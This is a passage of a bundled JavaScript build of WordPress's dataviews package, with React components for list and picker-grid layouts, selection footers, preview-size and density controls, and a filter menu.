34711 isLoading,
34712 onChangeSelection,
34713 selection,
34714 view,
34715 className,
34716 empty
34717 } = props;
34718 const baseId = (0,external_wp_compose_namespaceObject.useInstanceId)(ViewList, "view-list");
34719 const selectedItem = data?.findLast(
34720 (item) => selection.includes(getItemId(item))
34721 );
34722 const titleField = fields.find((field) => field.id === view.titleField);
34723 const mediaField = fields.find((field) => field.id === view.mediaField);
34724 const descriptionField = fields.find(
34725 (field) => field.id === view.descriptionField
34726 );
34727 const otherFields = (view?.fields ?? []).map((fieldId) => fields.find((f) => fieldId === f.id)).filter(isDefined);
34728 const onSelect = (item) => onChangeSelection([getItemId(item)]);
34729 const generateCompositeItemIdPrefix = (0,external_wp_element_.useCallback)(
34730 (item) => `${baseId}-${getItemId(item)}`,
34731 [baseId, getItemId]
34732 );
34733 const isActiveCompositeItem = (0,external_wp_element_.useCallback)(
34734 (item, idToCheck) => {
34735 return idToCheck.startsWith(
34736 generateCompositeItemIdPrefix(item)
34737 );
34738 },
34739 [generateCompositeItemIdPrefix]
34740 );
34741 const [activeCompositeId, setActiveCompositeId] = (0,external_wp_element_.useState)(void 0);
34742 (0,external_wp_element_.useEffect)(() => {
34743 if (selectedItem) {
34744 setActiveCompositeId(
34745 generateItemWrapperCompositeId(
34746 generateCompositeItemIdPrefix(selectedItem)
34747 )
34748 );
34749 }
34750 }, [selectedItem, generateCompositeItemIdPrefix]);
34751 const activeItemIndex = data.findIndex(
34752 (item) => isActiveCompositeItem(item, activeCompositeId ?? "")
34753 );
34754 const previousActiveItemIndex = (0,external_wp_compose_namespaceObject.usePrevious)(activeItemIndex);
34755 const isActiveIdInList = activeItemIndex !== -1;
34756 const selectCompositeItem = (0,external_wp_element_.useCallback)(
34757 (targetIndex, generateCompositeId) => {
34758 const clampedIndex = Math.min(
34759 data.length - 1,
34760 Math.max(0, targetIndex)
34761 );
34762 if (!data[clampedIndex]) {
34763 return;
34764 }
34765 const itemIdPrefix = generateCompositeItemIdPrefix(
34766 data[clampedIndex]
34767 );
34768 const targetCompositeItemId = generateCompositeId(itemIdPrefix);
34769 setActiveCompositeId(targetCompositeItemId);
34770 document.getElementById(targetCompositeItemId)?.focus();
34771 },
34772 [data, generateCompositeItemIdPrefix]
34773 );
34774 (0,external_wp_element_.useEffect)(() => {
34775 const wasActiveIdInList = previousActiveItemIndex !== void 0 && previousActiveItemIndex !== -1;
34776 if (!isActiveIdInList && wasActiveIdInList) {
34777 selectCompositeItem(
34778 previousActiveItemIndex,
34779 generateItemWrapperCompositeId
34780 );
34781 }
34782 }, [isActiveIdInList, selectCompositeItem, previousActiveItemIndex]);
34783 const onDropdownTriggerKeyDown = (0,external_wp_element_.useCallback)(
34784 (event) => {
34785 if (event.key === "ArrowDown") {
34786 event.preventDefault();
34787 selectCompositeItem(
34788 activeItemIndex + 1,
34789 generateDropdownTriggerCompositeId
34790 );
34791 }
34792 if (event.key === "ArrowUp") {
34793 event.preventDefault();
34794 selectCompositeItem(
34795 activeItemIndex - 1,
34796 generateDropdownTriggerCompositeId
34797 );
34798 }
34799 },
34800 [selectCompositeItem, activeItemIndex]
34801 );
34802 const hasData = data?.length;
34803 if (!hasData) {
34804 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34805 "div",
34806 {
34807 className: dist_clsx({
34808 "dataviews-loading": isLoading,
34809 "dataviews-no-results": !hasData && !isLoading
34810 }),
34811 children: !hasData && (isLoading ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) : empty)
34812 }
34813 );
34814 }
34815 const groupField = view.groupByField ? fields.find((field) => field.id === view.groupByField) : null;
34816 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
34817 if (hasData && groupField && dataByGroup) {
34818 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34819 external_wp_components_namespaceObject.Composite,
34820 {
34821 id: `${baseId}`,
34822 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
34823 className: "dataviews-view-list__group",
34824 role: "grid",
34825 activeId: activeCompositeId,
34826 setActiveId: setActiveCompositeId,
34827 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34828 external_wp_components_namespaceObject.__experimentalVStack,
34829 {
34830 spacing: 4,
34831 className: dist_clsx("dataviews-view-list", className),
34832 children: Array.from(dataByGroup.entries()).map(
34833 ([groupName, groupItems]) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, children: [
34834 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "dataviews-view-list__group-header", children: (0,external_wp_i18n_namespaceObject.sprintf)(
34835 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
34836 (0,external_wp_i18n_namespaceObject.__)("%1$s: %2$s"),
34837 groupField.label,
34838 groupName
34839 ) }),
34840 groupItems.map((item) => {
34841 const id = generateCompositeItemIdPrefix(item);
34842 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34843 ListItem,
34844 {
34845 view,
34846 idPrefix: id,
34847 actions,
34848 item,
34849 isSelected: item === selectedItem,
34850 onSelect,
34851 mediaField,
34852 titleField,
34853 descriptionField,
34854 otherFields,
34855 onDropdownTriggerKeyDown
34856 },
34857 id
34858 );
34859 })
34860 ] }, groupName)
34861 )
34862 }
34863 )
34864 }
34865 );
34866 }
34867 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
34868 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34869 external_wp_components_namespaceObject.Composite,
34870 {
34871 id: baseId,
34872 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
34873 className: dist_clsx("dataviews-view-list", className),
34874 role: view.infiniteScrollEnabled ? "feed" : "grid",
34875 activeId: activeCompositeId,
34876 setActiveId: setActiveCompositeId,
34877 children: data.map((item, index) => {
34878 const id = generateCompositeItemIdPrefix(item);
34879 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34880 ListItem,
34881 {
34882 view,
34883 idPrefix: id,
34884 actions,
34885 item,
34886 isSelected: item === selectedItem,
34887 onSelect,
34888 mediaField,
34889 titleField,
34890 descriptionField,
34891 otherFields,
34892 onDropdownTriggerKeyDown,
34893 posinset: view.infiniteScrollEnabled ? index + 1 : void 0
34894 },
34895 id
34896 );
34897 })
34898 }
34899 ),
34900 hasData && isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })
34901 ] });
34902}
34903
34904
34905;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-picker/footer.js
34906
34907
34908
34909
34910
34911
34912
34913const footer_EMPTY_ARRAY = (/* unused pure expression or super */ null && ([]));
34914function useIsMultiselectPicker(actions) {
34915 return (0,external_wp_element_.useMemo)(() => {
34916 return actions?.every((action) => action.supportsBulk);
34917 }, [actions]);
34918}
34919function footer_BulkSelectionCheckbox({
34920 selection,
34921 selectedItems,
34922 onChangeSelection,
34923 data,
34924 getItemId
34925}) {
34926 const areAllSelected = selectedItems.length === data.length;
34927 return /* @__PURE__ */ jsx(
34928 CheckboxControl,
34929 {
34930 className: "dataviews-view-table-selection-checkbox",
34931 __nextHasNoMarginBottom: true,
34932 checked: areAllSelected,
34933 indeterminate: !areAllSelected && !!selectedItems.length,
34934 onChange: () => {
34935 if (areAllSelected) {
34936 onChangeSelection(
34937 selection.filter(
34938 (id) => !data.some(
34939 (item) => id === getItemId(item)
34940 )
34941 )
34942 );
34943 } else {
34944 const selectionSet = /* @__PURE__ */ new Set([
34945 ...selection,
34946 ...data.map((item) => getItemId(item))
34947 ]);
34948 onChangeSelection(Array.from(selectionSet));
34949 }
34950 },
34951 "aria-label": areAllSelected ? __("Deselect all") : __("Select all")
34952 }
34953 );
34954}
34955function ActionButtons({
34956 actions,
34957 items,
34958 selection
34959}) {
34960 const registry = useRegistry();
34961 const [actionInProgress, setActionInProgress] = useState(
34962 null
34963 );
34964 return /* @__PURE__ */ jsx(HStack, { expanded: false, spacing: 1, children: actions.map((action) => {
34965 if (!("callback" in action)) {
34966 return null;
34967 }
34968 const { id, label, icon, isPrimary, callback } = action;
34969 const _label = typeof label === "string" ? label : label(items);
34970 const variant = isPrimary ? "primary" : "tertiary";
34971 const isInProgress = id === actionInProgress;
34972 return /* @__PURE__ */ jsx(
34973 Button,
34974 {
34975 accessibleWhenDisabled: true,
34976 icon,
34977 disabled: isInProgress || !selection?.length,
34978 isBusy: isInProgress,
34979 onClick: async () => {
34980 setActionInProgress(id);
34981 await callback(items, {
34982 registry
34983 });
34984 setActionInProgress(null);
34985 },
34986 size: "compact",
34987 variant,
34988 children: _label
34989 },
34990 id
34991 );
34992 }) });
34993}
34994function DataViewsPickerFooter() {
34995 const {
34996 data,
34997 selection,
34998 onChangeSelection,
34999 getItemId,
35000 actions = footer_EMPTY_ARRAY
35001 } = useContext(DataViewsContext);
35002 const selectionCount = selection.length;
35003 const isMultiselect = useIsMultiselectPicker(actions);
35004 const message = selectionCount > 0 ? sprintf(
35005 /* translators: %d: number of items. */
35006 _n(
35007 "%d Item selected",
35008 "%d Items selected",
35009 selectionCount
35010 ),
35011 selectionCount
35012 ) : sprintf(
35013 /* translators: %d: number of items. */
35014 _n("%d Item", "%d Items", data.length),
35015 data.length
35016 );
35017 const selectedItems = useMemo(
35018 () => data.filter((item) => selection.includes(getItemId(item))),
35019 [selection, getItemId, data]
35020 );
35021 return /* @__PURE__ */ jsxs(
35022 HStack,
35023 {
35024 expanded: false,
35025 justify: "space-between",
35026 className: "dataviews-footer",
35027 children: [
35028 /* @__PURE__ */ jsxs(
35029 HStack,
35030 {
35031 className: "dataviews-picker-footer__bulk-selection",
35032 expanded: false,
35033 spacing: 3,
35034 children: [
35035 isMultiselect && /* @__PURE__ */ jsx(
35036 footer_BulkSelectionCheckbox,
35037 {
35038 selection,
35039 selectedItems,
35040 onChangeSelection,
35041 data,
35042 getItemId
35043 }
35044 ),
35045 /* @__PURE__ */ jsx("span", { className: "dataviews-bulk-actions-footer__item-count", children: message })
35046 ]
35047 }
35048 ),
35049 /* @__PURE__ */ jsx(DataViewsPagination, {}),
35050 Boolean(actions?.length) && /* @__PURE__ */ jsx("div", { className: "dataviews-picker-footer__actions", children: /* @__PURE__ */ jsx(
35051 ActionButtons,
35052 {
35053 actions,
35054 items: selectedItems,
35055 selection
35056 }
35057 ) })
35058 ]
35059 }
35060 );
35061}
35062
35063
35064;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/picker-grid/index.js
35065
35066
35067
35068
35069
35070
35071
35072
35073
35074
35075
35076const { Badge: picker_grid_Badge } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
35077
35078function picker_grid_GridItem({
35079 view,
35080 multiselect,
35081 selection,
35082 onChangeSelection,
35083 getItemId,
35084 item,
35085 mediaField,
35086 titleField,
35087 descriptionField,
35088 regularFields,
35089 badgeFields,
35090 config,
35091 posinset,
35092 setsize
35093}) {
35094 const { showTitle = true, showMedia = true, showDescription = true } = view;
35095 const id = getItemId(item);
35096 const isSelected = selection.includes(id);
35097 const renderedMediaField = mediaField?.render ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35098 mediaField.render,
35099 {
35100 item,
35101 field: mediaField,
35102 config
35103 }
35104 ) : null;
35105 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, { item, field: titleField }) : null;
35106 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
35107 external_wp_components_namespaceObject.Composite.Item,
35108 {
35109 "aria-label": titleField ? titleField.getValue({ item }) || (0,external_wp_i18n_namespaceObject.__)("(no title)") : void 0,
35110 render: ({ children, ...props }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0, children, ...props }),
35111 role: "option",
35112 "aria-posinset": posinset,
35113 "aria-setsize": setsize,
35114 className: dist_clsx("dataviews-view-picker-grid__card", {
35115 "is-selected": isSelected
35116 }),
35117 "aria-selected": isSelected,
35118 onClick: () => {
35119 if (isSelected) {
35120 onChangeSelection(
35121 selection.filter((itemId) => id !== itemId)
35122 );
35123 } else {
35124 const newSelection = multiselect ? [...selection, id] : [id];
35125 onChangeSelection(newSelection);
35126 }
35127 },
35128 children: [
35129 showMedia && renderedMediaField && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-view-picker-grid__media", children: renderedMediaField }),
35130 showMedia && renderedMediaField && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35131 DataViewsSelectionCheckbox,
35132 {
35133 item,
35134 selection,
35135 onChangeSelection,
35136 getItemId,
35137 titleField,
35138 disabled: false,
35139 "aria-hidden": true,
35140 tabIndex: -1
35141 }
35142 ),
35143 showTitle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35144 external_wp_components_namespaceObject.__experimentalHStack,
35145 {
35146 justify: "space-between",
35147 className: "dataviews-view-picker-grid__title-actions",
35148 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-view-picker-grid__title-field dataviews-title-field", children: renderedTitleField })
35149 }
35150 ),
35151 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
35152 showDescription && descriptionField?.render && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35153 descriptionField.render,
35154 {
35155 item,
35156 field: descriptionField
35157 }
35158 ),
35159 !!badgeFields?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35160 external_wp_components_namespaceObject.__experimentalHStack,
35161 {
35162 className: "dataviews-view-picker-grid__badge-fields",
35163 spacing: 2,
35164 wrap: true,
35165 alignment: "top",
35166 justify: "flex-start",
35167 children: badgeFields.map((field) => {
35168 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35169 picker_grid_Badge,
35170 {
35171 className: "dataviews-view-picker-grid__field-value",
35172 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35173 field.render,
35174 {
35175 item,
35176 field
35177 }
35178 )
35179 },
35180 field.id
35181 );
35182 })
35183 }
35184 ),
35185 !!regularFields?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35186 external_wp_components_namespaceObject.__experimentalVStack,
35187 {
35188 className: "dataviews-view-picker-grid__fields",
35189 spacing: 1,
35190 children: regularFields.map((field) => {
35191 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35192 external_wp_components_namespaceObject.Flex,
35193 {
35194 className: "dataviews-view-picker-grid__field",
35195 gap: 1,
35196 justify: "flex-start",
35197 expanded: true,
35198 style: { height: "auto" },
35199 direction: "row",
35200 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
35201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "dataviews-view-picker-grid__field-name", children: field.header }),
35202 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35203 external_wp_components_namespaceObject.FlexItem,
35204 {
35205 className: "dataviews-view-picker-grid__field-value",
35206 style: { maxHeight: "none" },
35207 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35208 field.render,
35209 {
35210 item,
35211 field
35212 }
35213 )
35214 }
35215 )
35216 ] })
35217 },
35218 field.id
35219 );
35220 })
35221 }
35222 )
35223 ] })
35224 ]
35225 },
35226 id
35227 );
35228}
35229function GridGroup({
35230 groupName,
35231 groupField,
35232 children
35233}) {
35234 const headerId = (0,external_wp_compose_namespaceObject.useInstanceId)(
35235 GridGroup,
35236 "dataviews-view-picker-grid-group__header"
35237 );
35238 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
35239 external_wp_components_namespaceObject.__experimentalVStack,
35240 {
35241 spacing: 2,
35242 role: "group",
35243 "aria-labelledby": headerId,
35244 children: [
35245 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35246 "h3",
35247 {
35248 className: "dataviews-view-picker-grid-group__header",
35249 id: headerId,
35250 children: (0,external_wp_i18n_namespaceObject.sprintf)(
35251 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
35252 (0,external_wp_i18n_namespaceObject.__)("%1$s: %2$s"),
35253 groupField.label,
35254 groupName
35255 )
35256 }
35257 ),
35258 children
35259 ]
35260 },
35261 groupName
35262 );
35263}
35264function ViewPickerGrid({
35265 actions,
35266 data,
35267 fields,
35268 getItemId,
35269 isLoading,
35270 onChangeSelection,
35271 selection,
35272 view,
35273 className,
35274 empty
35275}) {
35276 const { resizeObserverRef, paginationInfo, itemListLabel } = (0,external_wp_element_.useContext)(dataviews_context_default);
35277 const titleField = fields.find(
35278 (field) => field.id === view?.titleField
35279 );
35280 const mediaField = fields.find(
35281 (field) => field.id === view?.mediaField
35282 );
35283 const descriptionField = fields.find(
35284 (field) => field.id === view?.descriptionField
35285 );
35286 const otherFields = view.fields ?? [];
35287 const { regularFields, badgeFields } = otherFields.reduce(
35288 (accumulator, fieldId) => {
35289 const field = fields.find((f) => f.id === fieldId);
35290 if (!field) {
35291 return accumulator;
35292 }
35293 const key = view.layout?.badgeFields?.includes(fieldId) ? "badgeFields" : "regularFields";
35294 accumulator[key].push(field);
35295 return accumulator;
35296 },
35297 { regularFields: [], badgeFields: [] }
35298 );
35299 const hasData = !!data?.length;
35300 const usedPreviewSize = view.layout?.previewSize;
35301 const isMultiselect = useIsMultiselectPicker(actions);
35302 const size = "900px";
35303 const groupField = view.groupByField ? fields.find((f) => f.id === view.groupByField) : null;
35304 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
35305 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
35306 const currentPage = view?.page ?? 1;
35307 const perPage = view?.perPage ?? 0;
35308 const setSize = isInfiniteScroll ? paginationInfo?.totalItems : void 0;
35309 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
35310 // Render multiple groups.
35311 children: [
35312 hasData && groupField && dataByGroup && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35313 external_wp_components_namespaceObject.Composite,
35314 {
35315 virtualFocus: true,
35316 orientation: "horizontal",
35317 role: "listbox",
35318 "aria-multiselectable": isMultiselect,
35319 className: dist_clsx(
35320 "dataviews-view-picker-grid",
35321 className
35322 ),
35323 "aria-label": itemListLabel,
35324 render: ({ children, ...props }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35325 external_wp_components_namespaceObject.__experimentalVStack,
35326 {
35327 spacing: 4,
35328 children,
35329 ...props
35330 }
35331 ),
35332 children: Array.from(dataByGroup.entries()).map(
35333 ([groupName, groupItems]) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35334 GridGroup,
35335 {
35336 groupName,
35337 groupField,
35338 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35339 GridItems,
35340 {
35341 previewSize: usedPreviewSize,
35342 style: {
35343 gridTemplateColumns: usedPreviewSize && `repeat(auto-fill, minmax(${usedPreviewSize}px, 1fr))`
35344 },
35345 "aria-busy": isLoading,
35346 ref: resizeObserverRef,
35347 children: groupItems.map((item) => {
35348 const posInSet = (currentPage - 1) * perPage + data.indexOf(item) + 1;
35349 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35350 picker_grid_GridItem,
35351 {
35352 view,
35353 multiselect: isMultiselect,
35354 selection,
35355 onChangeSelection,
35356 getItemId,
35357 item,
35358 mediaField,
35359 titleField,
35360 descriptionField,
35361 regularFields,
35362 badgeFields,
35363 config: {
35364 sizes: size
35365 },
35366 posinset: posInSet,
35367 setsize: setSize
35368 },
35369 getItemId(item)
35370 );
35371 })
35372 }
35373 )
35374 },
35375 groupName
35376 )
35377 )
35378 }
35379 ),
35380 // Render a single grid with all data.
35381 hasData && !dataByGroup && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35382 external_wp_components_namespaceObject.Composite,
35383 {
35384 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35385 GridItems,
35386 {
35387 className: dist_clsx(
35388 "dataviews-view-picker-grid",
35389 className
35390 ),
35391 previewSize: usedPreviewSize,
35392 "aria-busy": isLoading,
35393 ref: resizeObserverRef
35394 }
35395 ),
35396 virtualFocus: true,
35397 orientation: "horizontal",
35398 role: "listbox",
35399 "aria-multiselectable": isMultiselect,
35400 "aria-label": itemListLabel,
35401 children: data.map((item, index) => {
35402 let posinset = isInfiniteScroll ? index + 1 : void 0;
35403 if (!isInfiniteScroll) {
35404 posinset = (currentPage - 1) * perPage + index + 1;
35405 }
35406 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35407 picker_grid_GridItem,
35408 {
35409 view,
35410 multiselect: isMultiselect,
35411 selection,
35412 onChangeSelection,
35413 getItemId,
35414 item,
35415 mediaField,
35416 titleField,
35417 descriptionField,
35418 regularFields,
35419 badgeFields,
35420 config: {
35421 sizes: size
35422 },
35423 posinset,
35424 setsize: setSize
35425 },
35426 getItemId(item)
35427 );
35428 })
35429 }
35430 ),
35431 // Render empty state.
35432 !hasData && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35433 "div",
35434 {
35435 className: dist_clsx({
35436 "dataviews-loading": isLoading,
35437 "dataviews-no-results": !isLoading
35438 }),
35439 children: isLoading ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) : empty
35440 }
35441 ),
35442 hasData && isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })
35443 ]
35444 });
35445}
35446var picker_grid_default = ViewPickerGrid;
35447
35448
35449;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/utils/preview-size-picker.js
35450
35451
35452
35453
35454
35455const imageSizes = [
35456 {
35457 value: 120,
35458 breakpoint: 1
35459 },
35460 {
35461 value: 170,
35462 breakpoint: 1
35463 },
35464 {
35465 value: 230,
35466 breakpoint: 1
35467 },
35468 {
35469 value: 290,
35470 breakpoint: 1112
35471 // at minimum image width, 4 images display at this container size
35472 },
35473 {
35474 value: 350,
35475 breakpoint: 1636
35476 // at minimum image width, 6 images display at this container size
35477 },
35478 {
35479 value: 430,
35480 breakpoint: 588
35481 // at minimum image width, 2 images display at this container size
35482 }
35483];
35484function PreviewSizePicker() {
35485 const context = (0,external_wp_element_.useContext)(dataviews_context_default);
35486 const view = context.view;
35487 const breakValues = imageSizes.filter((size) => {
35488 return context.containerWidth >= size.breakpoint;
35489 });
35490 const layoutPreviewSize = view.layout?.previewSize ?? 230;
35491 const previewSizeToUse = breakValues.map((size, index) => ({ ...size, index })).filter((size) => size.value <= layoutPreviewSize).sort((a, b) => b.value - a.value)[0]?.index ?? 0;
35492 const marks = breakValues.map((size, index) => {
35493 return {
35494 value: index
35495 };
35496 });
35497 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35498 external_wp_components_namespaceObject.RangeControl,
35499 {
35500 __nextHasNoMarginBottom: true,
35501 __next40pxDefaultSize: true,
35502 showTooltip: false,
35503 label: (0,external_wp_i18n_namespaceObject.__)("Preview size"),
35504 value: previewSizeToUse,
35505 min: 0,
35506 max: breakValues.length - 1,
35507 withInputField: false,
35508 onChange: (value = 0) => {
35509 context.onChangeView({
35510 ...view,
35511 layout: {
35512 ...view.layout,
35513 previewSize: breakValues[value].value
35514 }
35515 });
35516 },
35517 step: 1,
35518 marks
35519 }
35520 );
35521}
35522
35523
35524;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/density-picker.js
35525
35526
35527
35528
35529
35530function DensityPicker() {
35531 const context = (0,external_wp_element_.useContext)(dataviews_context_default);
35532 const view = context.view;
35533 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
35534 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
35535 {
35536 __nextHasNoMarginBottom: true,
35537 size: "__unstable-large",
35538 label: (0,external_wp_i18n_namespaceObject.__)("Density"),
35539 value: view.layout?.density || "balanced",
35540 onChange: (value) => {
35541 context.onChangeView({
35542 ...view,
35543 layout: {
35544 ...view.layout,
35545 density: value
35546 }
35547 });
35548 },
35549 isBlock: true,
35550 children: [
35551 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35552 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
35553 {
35554 value: "comfortable",
35555 label: (0,external_wp_i18n_namespaceObject._x)(
35556 "Comfortable",
35557 "Density option for DataView layout"
35558 )
35559 },
35560 "comfortable"
35561 ),
35562 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35563 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
35564 {
35565 value: "balanced",
35566 label: (0,external_wp_i18n_namespaceObject._x)("Balanced", "Density option for DataView layout")
35567 },
35568 "balanced"
35569 ),
35570 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35571 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
35572 {
35573 value: "compact",
35574 label: (0,external_wp_i18n_namespaceObject._x)("Compact", "Density option for DataView layout")
35575 },
35576 "compact"
35577 )
35578 ]
35579 }
35580 );
35581}
35582
35583
35584;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/index.js
35585
35586
35587
35588
35589
35590
35591
35592
35593
35594const VIEW_LAYOUTS = [
35595 {
35596 type: constants_LAYOUT_TABLE,
35597 label: (0,external_wp_i18n_namespaceObject.__)("Table"),
35598 component: table_default,
35599 icon: block_table_default,
35600 viewConfigOptions: DensityPicker
35601 },
35602 {
35603 type: constants_LAYOUT_GRID,
35604 label: (0,external_wp_i18n_namespaceObject.__)("Grid"),
35605 component: grid_default,
35606 icon: category_default,
35607 viewConfigOptions: PreviewSizePicker
35608 },
35609 {
35610 type: constants_LAYOUT_LIST,
35611 label: (0,external_wp_i18n_namespaceObject.__)("List"),
35612 component: ViewList,
35613 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default
35614 },
35615 {
35616 type: LAYOUT_PICKER_GRID,
35617 label: (0,external_wp_i18n_namespaceObject.__)("Grid"),
35618 component: picker_grid_default,
35619 icon: category_default,
35620 viewConfigOptions: PreviewSizePicker,
35621 isPicker: true
35622 }
35623];
35624
35625
35626;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/add-filter.js
35627
35628
35629
35630
35631
35632const { Menu: add_filter_Menu } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
35633function AddFilterMenu({
35634 filters,
35635 view,
35636 onChangeView,
35637 setOpenedFilter,
35638 triggerProps
35639}) {
35640 const inactiveFilters = filters.filter((filter) => !filter.isVisible);
35641 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(add_filter_Menu, { children: [
35642 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.TriggerButton, { ...triggerProps }),
35643 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.Popover, { children: inactiveFilters.map((filter) => {
35644 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35645 add_filter_Menu.Item,
35646 {
35647 onClick: () => {
35648 setOpenedFilter(filter.field);
35649 onChangeView({
35650 ...view,
35651 page: 1,
35652 filters: [
35653 ...view.filters || [],
35654 {
35655 field: filter.field,
35656 value: void 0,
35657 operator: filter.operators[0]
35658 }
35659 ]
35660 });
35661 },
35662 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(add_filter_Menu.ItemLabel, { children: filter.name })
35663 },
35664 filter.field
35665 );
35666 }) })
35667 ] });
35668}
35669function AddFilter({ filters, view, onChangeView, setOpenedFilter }, ref) {
35670 if (!filters.length || filters.every(({ isPrimary }) => isPrimary)) {
35671 return null;
35672 }
35673 const inactiveFilters = filters.filter((filter) => !filter.isVisible);
35674 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35675 AddFilterMenu,
35676 {
35677 triggerProps: {
35678 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
